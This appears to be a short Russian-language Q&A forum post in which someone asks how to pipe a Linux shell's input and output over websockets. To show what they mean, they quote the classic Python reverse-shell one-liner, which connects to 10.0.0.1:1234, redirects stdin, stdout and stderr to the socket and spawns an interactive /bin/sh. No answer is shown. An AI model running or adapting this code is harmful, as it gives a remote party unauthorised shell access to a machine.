Python оболочка через веб-сокеты - PullRequest
0 голосов
/ 07 мая 2020

Я пытаюсь создать сервер в python, который может обрабатывать linux системный ввод-вывод.

Я хочу, чтобы он работал аналогично следующему:

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Приведенный выше код перенаправляет IN OUT и ERR через стандартный сокет, однако я хочу сделать что-то подобное через веб-сокеты.

Может ли кто-нибудь предложить лучший способ сделать это?

...